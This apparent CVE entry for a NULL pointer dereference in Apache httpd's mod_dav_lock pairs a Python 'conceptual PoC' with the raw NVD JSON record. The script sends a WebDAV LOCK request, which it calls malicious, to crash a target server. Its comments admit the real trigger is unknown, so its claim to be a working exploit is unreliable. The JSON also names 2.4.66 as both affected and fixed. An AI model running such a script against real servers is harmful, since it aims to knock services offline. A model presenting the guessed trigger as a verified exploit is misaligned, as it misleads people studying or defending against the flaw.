CVE-2026-29169

import requests # Target URL that uses WebDAV and has mod_dav_lock enabled target_url = "http://example.com/webdav/" # Attempt to trigger the NULL pointer dereference # The exact trigger might require specific headers or body structure # This is a conceptual PoC demonstrating a potential malicious request headers = { "Content-Type": "application/xml", "Depth": "0" } # Malicious payload designed to crash the mod_dav_lock module # This payload attempts to interact with lock mechanisms in a way that exposes the flaw data = """<?xml version="1.0" encoding="utf-8" ?> <D:lockinfo xmlns:D="DAV:"> <D:locktype><D:write/></D:locktype> <D:lockscope><D:exclusive/></D:lockscope> <D:owner> <D:href>http://malicious.example.com/</D:href> </D:owner> </D:lockinfo> """ try: print("Sending malicious request to {}...".format(target_url)) # Using LOCK method as it is related to mod_dav_lock functionality response = requests.request("LOCK", target_url, headers=headers, data=data, timeout=5) # If the server crashes, no response or a 500 error might be observed print("Response Status Code: {}".format(response.status_code)) except requests.exceptions.RequestException as e: print("Connection failed or timed out. Server might have crashed (DoS).") print("Error: {}".format(e))

{"cve": {"id": "CVE-2026-29169", "sourceIdentifier": "[email protected]", "published": "2026-05-04T15:16:03.720", "lastModified": "2026-05-05T21:16:21.930", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in mod_dav_lock in Apache HTTP Server 2.4.66 and earlier may allow an attacker to crash the server with a malicious request.mod_dav_lock is not used internally by mod_dav or mod_dav_fs.\n\nThe only known use-case for mod_dav_lock was mod_dav_svn from Apache Subversion earlier than version 1.2.0.\n\nUsers are recommended to upgrade to version 2.4.66, which fixes this issue, or remove mod_dav_lock."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.67", "matchCriteriaId": "8FF781BA-CF81-400B-A155-4DAE0BD856EE"}]}]}], "references": [{"url": "https://httpd.apache.org/security/vulnerabilities_24.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/20", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/05/12", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}